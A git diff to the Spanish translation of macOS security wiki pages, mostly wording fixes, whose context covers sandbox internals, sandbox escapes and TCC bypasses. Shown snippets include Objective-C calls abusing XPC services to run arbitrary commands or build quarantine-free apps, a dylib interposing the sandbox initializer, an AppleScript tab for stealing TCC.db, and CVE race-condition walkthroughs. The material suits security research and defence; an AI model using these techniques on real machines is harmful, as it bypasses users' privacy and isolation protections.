dos ubicaciones: **/usr/share/sandbox/** y **/System/Library/Sandbox/Profiles**. -Y si una aplicación de terceros tiene el derecho _**com.apple.security.app-sandbox**_, el sistema aplica el perfil **/System/Library/Sandbox/Profiles/application.sb** a ese proceso. +Y si una aplicación de terceros tiene el _**com.apple.security.app-sandbox**_ derecho, el sistema aplica el perfil **/System/Library/Sandbox/Profiles/application.sb** a ese proceso. En iOS, el perfil predeterminado se llama **container** y no tenemos la representación de texto SBPL. En memoria, este sandbox se representa como un árbol binario de Permitir/Denegar para cada permiso del sandbox. @@ -265,9 +265,10 @@ Además, para confinar un proceso dentro de un contenedor, puede llamar a `sandb ## Depurar y eludir el Sandbox -En macOS, a diferencia de iOS donde los procesos están aislados desde el inicio por el kernel, **los procesos deben optar por el sandbox ellos mismos**. Esto significa que en macOS, un proceso no está restringido por el sandbox hasta que decide activamente entrar en él, aunque las aplicaciones de la App Store siempre están aisladas. +En macOS, a diferencia de iOS donde los procesos están en sandbox desde el inicio por el kernel, **los procesos deben optar por el sandbox ellos mismos**. Esto significa que en macOS, un proceso no está restringido por el sandbox hasta que decide activamente entrar en él, aunque las aplicaciones de la App Store siempre están en sandbox. + +Los procesos se en sandbox automáticamente desde el userland cuando comienzan si tienen el derecho: `com.apple.security.app-sandbox`. Para una explicación detallada de este proceso, consulta: -Los procesos se aíslan automáticamente desde el userland cuando comienzan si tienen el derecho: `com.apple.security.app-sandbox`. Para una explicación detallada de este proceso, consulta: {{#ref}} macos-sandbox-debug-and-bypass/ @@ -307,7 +308,7 @@ sbtool all También es posible suspender y reanudar el sandbox utilizando las funciones `sandbox_suspend` y `sandbox_unsuspend` de `libsystem_sandbox.dylib`. -Tenga en cuenta que para llamar a la función de suspensión se verifican algunos derechos para autorizar al llamador a invocarla, como: +Ten en cuenta que para llamar a la función de suspensión se verifican algunos derechos para autorizar al llamador a invocarla, como: - com.apple.private.security.sandbox-manager - com.apple.security.print @@ -326,8 +327,8 @@ La llamada a la función `___sandbox_ms` envuelve `mac_syscall` indicando en el - **container (#4)**: Adjunta una anotación a un sandbox, típicamente para depuración o identificación. - **extension_issue (#5)**: Genera una nueva extensión para un proceso. - **extension_consume (#6)**: Consume una extensión dada. -- **extension_release (#7)**: Libera la memoria vinculada a una extensión consumida. -- **extension_update_file (#8)**: Modifica los parámetros de una extensión de archivo existente dentro del sandbox. +- **extension_release (#7)**: Libera la memoria asociada a una extensión consumida. +- **extension_update_file (#8)**: Modifica parámetros de una extensión de archivo existente dentro del sandbox. - **extension_twiddle (#9)**: Ajusta o modifica una extensión de archivo existente (por ejemplo, TextEdit, rtf, rtfd). - **suspend (#10)**: Suspende temporalmente todas las verificaciones del sandbox (requiere derechos apropiados). - **unsuspend (#11)**: Reanuda todas las verificaciones del sandbox que fueron suspendidas previamente. @@ -346,15 +347,15 @@ La llamada a la función `___sandbox_ms` envuelve `mac_syscall` indicando en el - **rootless_whitelist_push (#31)**: (macOS) Aplica un archivo de manifiesto de Protección de Integridad del Sistema (SIP). - **rootless_whitelist_check (preflight) (#32)**: Verifica el archivo de manifiesto SIP antes de la ejecución. - **rootless_protected_volume (#33)**: (macOS) Aplica protecciones SIP a un disco o partición. -- **rootless_mkdir_protected (#34)**: Aplica protección SIP/DataVault a un proceso de creación de directorios. +- **rootless_mkdir_protected (#34)**: Aplica protección SIP/DataVault a un proceso de creación de directorio. ## Sandbox.kext -Tenga en cuenta que en iOS la extensión del kernel contiene **todos los perfiles codificados** dentro del segmento `__TEXT.__const` para evitar que sean modificados. Las siguientes son algunas funciones interesantes de la extensión del kernel: +Ten en cuenta que en iOS la extensión del kernel contiene **todos los perfiles codificados** dentro del segmento `__TEXT.__const` para evitar que sean modificados. Las siguientes son algunas funciones interesantes de la extensión del kernel: - **`hook_policy_init`**: Engancha `mpo_policy_init` y se llama después de `mac_policy_register`. Realiza la mayoría de las inicializaciones del Sandbox. También inicializa SIP. - **`hook_policy_initbsd`**: Configura la interfaz sysctl registrando `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` y `security.mac.sandbox.debug_mode` (si se inicia con `PE_i_can_has_debugger`). -- **`hook_policy_syscall`**: Se llama desde `mac_syscall` con "Sandbox" como primer argumento y un código que indica la operación en el segundo. Se utiliza un switch para encontrar el código a ejecutar según el código solicitado. +- **`hook_policy_syscall`**: Se llama por `mac_syscall` con "Sandbox" como primer argumento y un código que indica la operación en el segundo. Se utiliza un switch para encontrar el código a ejecutar según el código solicitado. ### MACF Hooks @@ -366,13 +367,13 @@ Además, de los cientos de hooks que utiliza Sandbox, hay 3 en particular que so - `mpo_proc_check_for`: Aplica el perfil si es necesario y si no se había aplicado previamente. - `mpo_vnode_check_exec`: Se llama cuando un proceso carga el binario asociado, luego se realiza una verificación de perfil y también una verificación que prohíbe ejecuciones SUID/SGID. -- `mpo_cred_label_update_execve`: Se llama cuando se asigna la etiqueta. Este es el más largo, ya que se llama cuando el binario está completamente cargado pero aún no se ha ejecutado. Realizará acciones como crear el objeto sandbox, adjuntar la estructura del sandbox a las credenciales de kauth, eliminar el acceso a los puertos mach... +- `mpo_cred_label_update_execve`: Se llama cuando se asigna la etiqueta. Este es el más largo, ya que se llama cuando el binario está completamente cargado pero aún no se ha ejecutado. Realizará acciones como crear el objeto sandbox, adjuntar la estructura sandbox a las credenciales de kauth, eliminar el acceso a los puertos mach... -Tenga en cuenta que **`_cred_sb_evalutate`** es un envoltorio sobre **`sb_evaluate_internal`** y esta función obtiene las credenciales pasadas y luego realiza la evaluación utilizando la función **`eval`** que generalmente evalúa el **perfil de plataforma** que se aplica por defecto a todos los procesos y luego el **perfil de proceso específico**. Tenga en cuenta que el perfil de plataforma es uno de los componentes principales de **SIP** en macOS. +Ten en cuenta que **`_cred_sb_evalutate`** es un envoltorio sobre **`sb_evaluate_internal`** y esta función recibe las credenciales pasadas y luego realiza la evaluación utilizando la función **`eval`** que generalmente evalúa el **perfil de plataforma** que se aplica por defecto a todos los procesos y luego el **perfil de proceso específico**. Ten en cuenta que el perfil de plataforma es uno de los principales componentes de **SIP** en macOS. ## Sandboxd -Sandbox también tiene un daemon de usuario en ejecución que expone el servicio XPC Mach `com.apple.sandboxd` y vincula el puerto especial 14 (`HOST_SEATBELT_PORT`) que la extensión del kernel utiliza para comunicarse con él. Expone algunas funciones utilizando MIG. +Sandbox también tiene un demonio de usuario en ejecución que expone el servicio XPC Mach `com.apple.sandboxd` y vincula el puerto especial 14 (`HOST_SEATBELT_PORT`) que la extensión del kernel utiliza para comunicarse con él. Expone algunas funciones utilizando MIG. ## References diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md index 3acdecb11..44784a620 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md @@ -24,12 +24,13 @@ Esto es lo que se hizo en [**CVE-2023-32364**](https://gergelykalman.com/CVE-202 > [!CAUTION] > Por lo tanto, en este momento, si solo eres capaz de crear una carpeta con un nombre que termine en **`.app`** sin un atributo de cuarentena, puedes escapar del sandbox porque macOS solo **verifica** el **atributo de cuarentena** en la **carpeta `.app`** y en el **ejecutable principal** (y apuntaremos el ejecutable principal a **`/bin/bash`**). > -> Ten en cuenta que si un paquete .app ya ha sido autorizado para ejecutarse (tiene un xttr de cuarentena con la bandera de autorizado para ejecutar activada), también podrías abusar de él... excepto que ahora no puedes escribir dentro de los paquetes **`.app`** a menos que tengas algunos permisos privilegiados de TCC (que no tendrás dentro de un sandbox alto). +> Ten en cuenta que si un paquete .app ya ha sido autorizado para ejecutarse (tiene un atributo de cuarentena con la bandera de autorizado para ejecutar activada), también podrías abusar de él... excepto que ahora no puedes escribir dentro de los paquetes **`.app`** a menos que tengas algunos permisos privilegiados de TCC (que no tendrás dentro de un sandbox alto). ### Abusando de la funcionalidad Open En los [**últimos ejemplos de elusión del sandbox de Word**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) se puede apreciar cómo la funcionalidad cli de **`open`** podría ser abusada para eludir el sandbox. + {{#ref}} macos-office-sandbox-bypasses.md {{#endref}} @@ -37,7 +38,7 @@ macos-office-sandbox-bypasses.md ### Agentes/Daemon de Lanzamiento Incluso si una aplicación está **destinada a estar en sandbox** (`com.apple.security.app-sandbox`), es posible eludir el sandbox si se **ejecuta desde un LaunchAgent** (`~/Library/LaunchAgents`) por ejemplo.\ -Como se explicó en [**esta publicación**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), si deseas obtener persistencia con una aplicación que está en sandbox, podrías hacer que se ejecute automáticamente como un LaunchAgent y tal vez inyectar código malicioso a través de variables de entorno DyLib. +Como se explica en [**esta publicación**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), si deseas obtener persistencia con una aplicación que está en sandbox, podrías hacer que se ejecute automáticamente como un LaunchAgent y tal vez inyectar código malicioso a través de variables de entorno DyLib. ### Abusando de las Ubicaciones de Inicio Automático @@ -47,6 +48,7 @@ Para esto podrías necesitar incluso **2 pasos**: Hacer que un proceso con un ** Consulta esta página sobre **Ubicaciones de Inicio Automático**: + {{#ref}} ../../../../macos-auto-start-locations.md {{#endref}} @@ -55,15 +57,16 @@ Consulta esta página sobre **Ubicaciones de Inicio Automático**: Si desde el proceso en sandbox puedes **comprometer otros procesos** que se ejecutan en sandboxes menos restrictivos (o ninguno), podrás escapar a sus sandboxes: + {{#ref}} ../../../macos-proces-abuse/ {{#endref}} -### Servicios Mach del Sistema y del Usuario Disponibles +### Servicios Mach del Sistema y del Usuario disponibles El sandbox también permite comunicarse con ciertos **servicios Mach** a través de XPC definidos en el perfil `application.sb`. Si puedes **abusar** de uno de estos servicios, podrías ser capaz de **escapar del sandbox**. -Como se indica en [este informe](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), la información sobre los servicios Mach se almacena en `/System/Library/xpc/launchd.plist`. Es posible encontrar todos los servicios Mach del Sistema y del Usuario buscando dentro de ese archivo por `System` y `User`. +Como se indica en [este informe](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), la información sobre los servicios Mach se almacena en `/System/Library/xpc/launchd.plist`. Es posible encontrar todos los servicios Mach del Sistema y del Usuario buscando dentro de ese archivo `System` y `User`. Además, es posible verificar si un servicio Mach está disponible para una aplicación en sandbox llamando a `bootstrap_look_up`: ```objectivec @@ -96,7 +99,7 @@ Para **contactar un servicio XPC del dominio PID**, solo es necesario registrarl ```objectivec [[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load]; ``` -Además, es posible encontrar todos los servicios Mach de **Application** buscando dentro de `System/Library/xpc/launchd.plist` por `Application`. +Además, es posible encontrar todos los servicios Mach de **Application** buscando dentro de `System/Library/xpc/launchd.plist` para `Application`. Otra forma de encontrar servicios xpc válidos es verificar los que están en: ```bash @@ -107,7 +110,7 @@ Varios ejemplos que abusan de esta técnica se pueden encontrar en el [**escrito #### /System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc -Este servicio permite cada conexión XPC al devolver siempre `YES` y el método `runTask:arguments:withReply:` ejecuta un comando arbitrario con parámetros arbitrarios. +Este servicio permite todas las conexiones XPC al devolver siempre `YES` y el método `runTask:arguments:withReply:` ejecuta un comando arbitrario con parámetros arbitrarios. La explotación fue "tan simple como": ```objectivec @@ -130,9 +133,9 @@ NSLog(@"run task result:%@, error:%@", bSucc, error); ``` #### /System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc -Este servicio XPC permitía a cada cliente siempre devolver YES y el método `createZipAtPath:hourThreshold:withReply:` básicamente permitía indicar la ruta a una carpeta para comprimir y la comprimiría en un archivo ZIP. +Este servicio XPC permitía a cada cliente al devolver siempre YES y el método `createZipAtPath:hourThreshold:withReply:` básicamente permitía indicar la ruta a una carpeta para comprimir y la comprimiría en un archivo ZIP. -Por lo tanto, es posible generar una estructura de carpeta de aplicación falsa, comprimirla, luego descomprimirla y ejecutarla para escapar del sandbox, ya que los nuevos archivos no tendrán el atributo de cuarentena. +Por lo tanto, es posible generar una estructura de carpeta de aplicación falsa, comprimirla, luego descomprimirla y ejecutarla para escapar del sandbox ya que los nuevos archivos no tendrán el atributo de cuarentena. La explotación fue: ```objectivec @@ -207,7 +210,7 @@ NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]); [**Esta investigación**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) descubrió 2 formas de eludir el Sandbox. Debido a que el sandbox se aplica desde el espacio de usuario cuando se carga la biblioteca **libSystem**. Si un binario pudiera evitar cargarla, nunca sería sandboxed: -- Si el binario estuviera **completamente compilado estáticamente**, podría evitar cargar esa biblioteca. +- Si el binario estuviera **completamente compilado de forma estática**, podría evitar cargar esa biblioteca. - Si el **binario no necesitara cargar ninguna biblioteca** (porque el enlazador también está en libSystem), no necesitará cargar libSystem. ### Shellcodes @@ -246,15 +249,16 @@ Tenga en cuenta que incluso si algunas **acciones** pueden ser **permitidas por (global-name "com.apple.cfnetwork.cfnetworkagent") [...] ``` -### Interposting Bypass +### Interposing Bypass + +Para más información sobre **Interposing** consulta: -Para más información sobre **Interposting** consulta: {{#ref}} ../../../macos-proces-abuse/macos-function-hooking.md {{#endref}} -#### Interpost `_libsecinit_initializer` para prevenir el sandbox +#### Interponer `_libsecinit_initializer` para prevenir el sandbox ```c // gcc -dynamiclib interpose.c -o interpose.dylib @@ -324,7 +328,7 @@ Sandbox Bypassed! ``` ### Depurar y eludir Sandbox con lldb -Compilaremos una aplicación que debería estar en sandbox: +Vamos a compilar una aplicación que debería estar en sandbox: {{#tabs}} {{#tab name="sand.c"}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md index 4b544fa66..1fdbf97ae 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md @@ -20,13 +20,13 @@ ps -ef | grep tcc 0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system 501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd ``` -Los **permisos** son **heredados de la aplicación padre** y los **permisos** son **seguros** basados en el **Bundle ID** y el **Developer ID**. +Los permisos son **heredados de la aplicación padre** y los **permisos** son **seguros** basados en el **Bundle ID** y el **Developer ID**. ### Bases de datos TCC Las concesiones/denegaciones se almacenan en algunas bases de datos TCC: -- La base de datos a nivel del sistema en **`/Library/Application Support/com.apple.TCC/TCC.db`**. +- La base de datos a nivel de sistema en **`/Library/Application Support/com.apple.TCC/TCC.db`**. - Esta base de datos está **protegida por SIP**, por lo que solo un bypass de SIP puede escribir en ella. - La base de datos TCC del usuario **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** para preferencias por usuario. - Esta base de datos está protegida, por lo que solo los procesos con altos privilegios TCC, como Acceso Completo al Disco, pueden escribir en ella (pero no está protegida por SIP). @@ -36,15 +36,15 @@ Las concesiones/denegaciones se almacenan en algunas bases de datos TCC: > > Sin embargo, recuerda que un proceso con estos altos privilegios (como **FDA** o **`kTCCServiceEndpointSecurityClient`**) podrá escribir en la base de datos TCC de los usuarios. -- Hay una **tercera** base de datos TCC en **`/var/db/locationd/clients.plist`** para indicar los clientes permitidos para **acceder a los servicios de ubicación**. +- Hay una **tercera** base de datos TCC en **`/var/db/locationd/clients.plist`** para indicar los clientes permitidos para **acceder a los servicios de localización**. - El archivo protegido por SIP **`/Users/carlospolop/Downloads/REG.db`** (también protegido del acceso de lectura con TCC), contiene la **ubicación** de todas las **bases de datos TCC válidas**. - El archivo protegido por SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (también protegido del acceso de lectura con TCC), contiene más permisos otorgados por TCC. -- El archivo protegido por SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (pero legible por cualquiera) es una lista de aplicaciones que requieren una excepción de TCC. +- El archivo protegido por SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (pero legible por cualquier persona) es una lista de aplicaciones que requieren una excepción de TCC. > [!TIP] > La base de datos TCC en **iOS** está en **`/private/var/mobile/Library/TCC/TCC.db`**. -> [!NOTE] +> [!TIP] > La **interfaz de usuario del centro de notificaciones** puede hacer **cambios en la base de datos TCC del sistema**: > > ```bash @@ -102,7 +102,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0; {{#endtabs}} > [!TIP] -> Al verificar ambas bases de datos, puedes comprobar los permisos que una aplicación ha permitido, ha prohibido o no tiene (lo pedirá). +> Al verificar ambas bases de datos, puedes comprobar los permisos que una aplicación ha permitido, ha prohibido o no tiene (lo solicitará). - El **`service`** es la representación en cadena de la **permisión** de TCC - El **`client`** es el **ID del paquete** o **ruta al binario** con los permisos @@ -184,7 +184,7 @@ tccutil reset All app.some.id # Reset the permissions granted to all apps tccutil reset All ``` -### Verificaciones de firma de TCC +### TCC Signature Checks La **base de datos** de TCC almacena el **Bundle ID** de la aplicación, pero también **almacena** **información** sobre la **firma** para **asegurarse** de que la aplicación que solicita usar un permiso es la correcta. ```bash @@ -203,7 +203,7 @@ csreq -t -r /tmp/telegram_csreq.bin ### Derechos y Permisos de TCC -Las aplicaciones **no solo necesitan** **solicitar** y haber **recibido acceso** a algunos recursos, también necesitan **tener los derechos relevantes**.\ +Las aplicaciones **no solo necesitan** **solicitar** y haber sido **otorgadas acceso** a algunos recursos, también necesitan **tener los derechos relevantes**.\ Por ejemplo, **Telegram** tiene el derecho `com.apple.security.device.camera` para solicitar **acceso a la cámara**. Una **aplicación** que **no tenga** este **derecho no podrá** acceder a la cámara (y el usuario ni siquiera será preguntado por los permisos). Sin embargo, para que las aplicaciones **accedan** a **ciertas carpetas de usuario**, como `~/Desktop`, `~/Downloads` y `~/Documents`, **no necesitan** tener ningún **derecho específico.** El sistema manejará el acceso de manera transparente y **pedirá al usuario** según sea necesario. @@ -249,10 +249,10 @@ Filename,Header,App UUID otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3 ``` -> [!NOTE] +> [!TIP] > Es curioso que el atributo **`com.apple.macl`** sea gestionado por el **Sandbox**, no por tccd. > -> También ten en cuenta que si mueves un archivo que permite el UUID de una aplicación en tu computadora a otra computadora, debido a que la misma aplicación tendrá diferentes UIDs, no otorgará acceso a esa aplicación. +> También ten en cuenta que si mueves un archivo que permite el UUID de una aplicación en tu computadora a otra computadora, debido a que la misma aplicación tendrá diferentes UIDs, no se otorgará acceso a esa aplicación. El atributo extendido `com.apple.macl` **no se puede borrar** como otros atributos extendidos porque está **protegido por SIP**. Sin embargo, como [**se explica en esta publicación**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), es posible desactivarlo **comprimendo** el archivo, **eliminándolo** y **descomprimiéndolo**. @@ -345,7 +345,7 @@ EOD ``` {{#endtab}} -{{#tab name="Steal systems TCC.db"}} +{{#tab name="Robar sistemas TCC.db"}} ```applescript osascript< ``` -### Bypasses de TCC +### TCC Bypasses + {{#ref}} macos-tcc-bypasses/ diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md index a1657dfb3..0e78d38ce 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md @@ -37,7 +37,7 @@ Más información y PoC en: ../../../macos-privilege-escalation.md {{#endref}} -### Bypass SSH +### Bypass de SSH Por defecto, un acceso a través de **SSH solía tener "Acceso Completo al Disco"**. Para deshabilitar esto, necesitas tenerlo listado pero deshabilitado (eliminarlo de la lista no eliminará esos privilegios): @@ -54,7 +54,7 @@ Aquí puedes encontrar ejemplos de cómo algunos **malwares han podido eludir es El atributo **`com.apple.macl`** se otorga a los archivos para dar a una **cierta aplicación permisos para leerlo.** Este atributo se establece al **arrastrar y soltar** un archivo sobre una aplicación, o cuando un usuario **hace doble clic** en un archivo para abrirlo con la **aplicación predeterminada**. -Por lo tanto, un usuario podría **registrar una aplicación maliciosa** para manejar todas las extensiones y llamar a Launch Services para **abrir** cualquier archivo (por lo que el archivo malicioso obtendrá acceso para leerlo). +Por lo tanto, un usuario podría **registrar una aplicación maliciosa** para manejar todas las extensiones y llamar a Launch Services para **abrir** cualquier archivo (así el archivo malicioso obtendrá acceso para leerlo). ### iCloud @@ -74,7 +74,7 @@ Para más información sobre Apple Scripts, consulta: macos-apple-scripts.md {{#endref}} -Por ejemplo, si una aplicación tiene **permiso de Automatización sobre `iTerm`**, por ejemplo, en este caso **`Terminal`** tiene acceso sobre iTerm: +Por ejemplo, si una aplicación tiene **permiso de Automatización sobre `iTerm`**, en este ejemplo **`Terminal`** tiene acceso sobre iTerm:
@@ -108,7 +108,7 @@ set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alia end tell do shell script "rm " & POSIX path of (copyFile as alias) ``` -## Por comportamiento de la aplicación +## Comportamiento de la aplicación ### CVE-2020–9934 - TCC @@ -145,35 +145,35 @@ $> ls ~/Documents ``` ### CVE-2021-30761 - Notas -Las notas tenían acceso a ubicaciones protegidas por TCC, pero cuando se crea una nota, esta se **crea en una ubicación no protegida**. Así que podrías pedir a notas que copien un archivo protegido en una nota (así que en una ubicación no protegida) y luego acceder al archivo: +Las notas tenían acceso a ubicaciones protegidas por TCC, pero cuando se crea una nota, esta se **crea en una ubicación no protegida**. Así que podrías pedir a notas que copie un archivo protegido en una nota (así que en una ubicación no protegida) y luego acceder al archivo:
### CVE-2021-30782 - Translocación -El binario `/usr/libexec/lsd` con la biblioteca `libsecurity_translocate` tenía el derecho `com.apple.private.nullfs_allow`, lo que le permitía crear un **nullfs** mount y tenía el derecho `com.apple.private.tcc.allow` con **`kTCCServiceSystemPolicyAllFiles`** para acceder a cada archivo. +El binario `/usr/libexec/lsd` con la biblioteca `libsecurity_translocate` tenía el derecho `com.apple.private.nullfs_allow`, lo que le permitía crear un **nullfs** mount y tenía el derecho `com.apple.private.tcc.allow` con **`kTCCServiceSystemPolicyAllFiles`** para acceder a todos los archivos. Era posible agregar el atributo de cuarentena a "Library", llamar al servicio XPC **`com.apple.security.translocation`** y luego mapear Library a **`$TMPDIR/AppTranslocation/d/d/Library`** donde todos los documentos dentro de Library podían ser **accedidos**. ### CVE-2023-38571 - Música y TV -**`Music`** tiene una característica interesante: Cuando está en funcionamiento, **importará** los archivos que se coloquen en **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** a la "biblioteca de medios" del usuario. Además, llama a algo como: **`rename(a, b);`** donde `a` y `b` son: +**`Music`** tiene una característica interesante: Cuando está en funcionamiento, **importará** los archivos que se suelten en **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** a la "biblioteca de medios" del usuario. Además, llama a algo como: **`rename(a, b);`** donde `a` y `b` son: - `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"` - `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3` -Este comportamiento de **`rename(a, b);`** es vulnerable a una **Condición de Carrera**, ya que es posible colocar dentro de la carpeta `Automatically Add to Music.localized` un archivo **TCC.db** falso y luego, cuando se crea la nueva carpeta (b) para copiar el archivo, eliminarlo y apuntarlo a **`~/Library/Application Support/com.apple.TCC`**/. +Este comportamiento de **`rename(a, b);`** es vulnerable a una **Condición de Carrera**, ya que es posible poner dentro de la carpeta `Automatically Add to Music.localized` un archivo **TCC.db** falso y luego, cuando se crea la nueva carpeta (b) para copiar el archivo, eliminarlo y apuntarlo a **`~/Library/Application Support/com.apple.TCC`**/. ### SQLITE_SQLLOG_DIR - CVE-2023-32422 -Si **`SQLITE_SQLLOG_DIR="path/folder"`** significa básicamente que **cualquier base de datos abierta se copia a esa ruta**. En este CVE, este control fue abusado para **escribir** dentro de una **base de datos SQLite** que va a ser **abierta por un proceso con FDA la base de datos TCC**, y luego abusar de **`SQLITE_SQLLOG_DIR`** con un **symlink en el nombre del archivo** para que cuando esa base de datos esté **abierta**, el usuario **TCC.db sea sobrescrito** con la que se abrió.\ +Si **`SQLITE_SQLLOG_DIR="path/folder"`** significa básicamente que **cualquier base de datos abierta se copia a esa ruta**. En este CVE, este control fue abusado para **escribir** dentro de una **base de datos SQLite** que va a ser **abierta por un proceso con FDA la base de datos TCC**, y luego abusar de **`SQLITE_SQLLOG_DIR`** con un **symlink en el nombre del archivo** para que cuando esa base de datos esté **abierta**, el usuario **TCC.db se sobrescriba** con la abierta.\ **Más info** [**en el informe**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **y** [**en la charla**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s). ### **SQLITE_AUTO_TRACE** Si la variable de entorno **`SQLITE_AUTO_TRACE`** está configurada, la biblioteca **`libsqlite3.dylib`** comenzará a **registrar** todas las consultas SQL. Muchas aplicaciones usaron esta biblioteca, por lo que era posible registrar todas sus consultas SQLite. -Varias aplicaciones de Apple usaron esta biblioteca para acceder a información protegida por TCC. +Varias aplicaciones de Apple utilizaron esta biblioteca para acceder a información protegida por TCC. ```bash # Set this env variable everywhere launchctl setenv SQLITE_AUTO_TRACE 1 @@ -186,11 +186,11 @@ Configurando lo siguiente: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Si `pa - se abrirá un archivo `open()`, llamado `path/.dat.nosyncXXXX.XXXXXX` (X es aleatorio) - uno o más `write()` escribirán el contenido en el archivo (no controlamos esto) -- `path/.dat.nosyncXXXX.XXXXXX` será renombrado `rename()` a `path/name` +- `path/.dat.nosyncXXXX.XXXXXX` será renombrado `renamed()` a `path/name` Es una escritura de archivo temporal, seguida de un **`rename(old, new)`** **que no es seguro.** -No es seguro porque tiene que **resolver las rutas antiguas y nuevas por separado**, lo que puede llevar algo de tiempo y puede ser vulnerable a una condición de carrera. Para más información, puedes consultar la función `renameat_internal()` de `xnu`. +No es seguro porque tiene que **resolver las rutas antiguas y nuevas por separado**, lo que puede tardar un tiempo y puede ser vulnerable a una condición de carrera. Para más información, puedes consultar la función `renameat_internal()` de `xnu`. > [!CAUTION] > Entonces, básicamente, si un proceso privilegiado está renombrando desde una carpeta que controlas, podrías obtener un RCE y hacer que acceda a un archivo diferente o, como en este CVE, abrir el archivo que la aplicación privilegiada creó y almacenar un FD. @@ -214,7 +214,7 @@ Este fue el ataque en el CVE: Por ejemplo, para sobrescribir el `TCC.db` del usu Más información en [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html) > [!CAUTION] -> Ahora, si intentas usar la variable de entorno `MTL_DUMP_PIPELINES_TO_JSON_FILE`, las aplicaciones no se lanzarán. +> Ahora, si intentas usar la variable de entorno `MTL_DUMP_PIPELINES_TO_JSON_FILE`, las aplicaciones no se lanzarán ### Apple Remote Desktop @@ -237,14 +237,14 @@ Por lo tanto, si el usuario logra reiniciar TCC con una variable de entorno $HOM El **primer POC** utiliza [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) y [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) para modificar la **carpeta HOME** del usuario. 1. Obtener un blob _csreq_ para la aplicación objetivo. -2. Plantar un archivo _TCC.db_ falso con el acceso requerido y el blob _csreq_. +2. Plantar un archivo _TCC.db_ falso con acceso requerido y el blob _csreq_. 3. Exportar la entrada de Servicios de Directorio del usuario con [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/). 4. Modificar la entrada de Servicios de Directorio para cambiar el directorio home del usuario. 5. Importar la entrada de Servicios de Directorio modificada con [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/). 6. Detener el _tccd_ del usuario y reiniciar el proceso. El segundo POC utilizó **`/usr/libexec/configd`** que tenía `com.apple.private.tcc.allow` con el valor `kTCCServiceSystemPolicySysAdminFiles`.\ -Era posible ejecutar **`configd`** con la opción **`-t`**, un atacante podría especificar un **Bundle personalizado para cargar**. Por lo tanto, el exploit **reemplaza** el método **`dsexport`** y **`dsimport`** de cambiar el directorio home del usuario con una **inyección de código de configd**. +Era posible ejecutar **`configd`** con la opción **`-t`**, un atacante podría especificar un **Bundle personalizado para cargar**. Por lo tanto, el exploit **reemplaza** el método **`dsexport`** y **`dsimport`** de cambiar el directorio home del usuario con una **inyección de código de `configd`**. Para más información, consulta el [**informe original**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/). @@ -252,6 +252,7 @@ Para más información, consulta el [**informe 